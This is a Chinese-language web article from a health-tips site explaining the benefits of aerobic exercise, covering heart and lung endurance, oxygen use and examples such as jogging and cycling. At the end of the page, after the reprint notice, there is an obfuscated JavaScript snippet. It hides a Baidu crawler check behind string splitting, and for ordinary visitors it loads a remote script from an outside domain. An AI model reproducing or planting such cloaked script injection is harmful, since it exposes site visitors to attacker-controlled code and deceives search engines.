當(dāng)前位置:首頁 > 健康 > 運動健身 > 正文

多做有氧運動的好處

2017-04-15 08:59:28  來源:360常識網(wǎng)   熱度:
導(dǎo)語:多少有氧運動對我們身體會產(chǎn)生一系列的好處,很多人都還不是很了解,所以就沒有做有氧運動的積極性,現(xiàn)如今隨著社會的發(fā)展,各種疾病的發(fā)病

多少有氧運動對我們身體會產(chǎn)生一系列的好處,很多人都還不是很了解,所以就沒有做有氧運動的積極性,現(xiàn)如今隨著社會的發(fā)展,各種疾病的發(fā)病率也非常高,多做一些運動,可以有效的降低我們出現(xiàn)疾病的風(fēng)險,下面就讓我們一起了解一下多做有氧運動的好處吧,希望對大家有所幫助。

有氧運動的目的在于增強心肺耐力。在運動時,由于肌肉收縮而需要大量養(yǎng)分和氧氣,心臟的收縮次數(shù)便增加,而且每次壓送出的血液量也較平常為多,同時,氧氣的需求量亦增加,呼吸次數(shù)比正常為多,肺部的收張程度也較大。所以當(dāng)運動持續(xù),肌肉長時間收縮,心肺就必須努力地供應(yīng)氧氣分給肌肉,以及運走肌肉中的廢物。而這持續(xù)性的需求,可提高心肺的耐力。當(dāng)心肺耐力增加了,身體就可從事更長時間或更高強度的運動,而且較不易疲勞。

汽油的燃燒離不開氧氣,所以我們也可以把發(fā)動機的工作稱為有氧運動。同樣,人類在運動中也要燃燒燃料,人類的“燃料”是糖類、蛋白質(zhì)和脂肪。人類的這些“燃料”都儲存在人體的細胞中,當(dāng)你運動時,就會消耗這些“燃料”以獲得動力。

與發(fā)動機燃燒汽油一樣,人類在燃燒“燃料”(即氧化)的時候也需要氧氣助燃。人們在運動時大口大口地呼吸,使空氣中的氧氣通過肺泡進入到血液循環(huán)系統(tǒng)之中,然后隨著動脈血流向全身的組織細胞中,這是一個漫長的過程。

低強度、長時間的運動,基本上都是有氧運動,比如,走步、慢跑、長距離慢速游泳、騎自行車、跳舞等。有氧運動能夠有效地鍛煉心、肺等器官,能改善心血管和肺的功能。人在利用氧氣的過程中,有一個相當(dāng)大的時間差,這個時間差就決定了劇烈的、短時間的運動成為了無氧運動。而當(dāng)你運動的時間足夠長時,氧氣已經(jīng)溶入到細胞中,身體內(nèi)的葡萄糖得到了充分的“燃燒”,從而轉(zhuǎn)化為新的能量,這樣的運動就是有氧運動。

多做有氧運動的好處想必大家已經(jīng)有所了解,既然了解了多做有氧運動的好處,我們就要在以后的生活中去堅持,同時千萬不要半途而廢,堅持到底才能夠給我們帶來更多的好處,同時也要多吃一些,對自己身體健康有益的食物。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}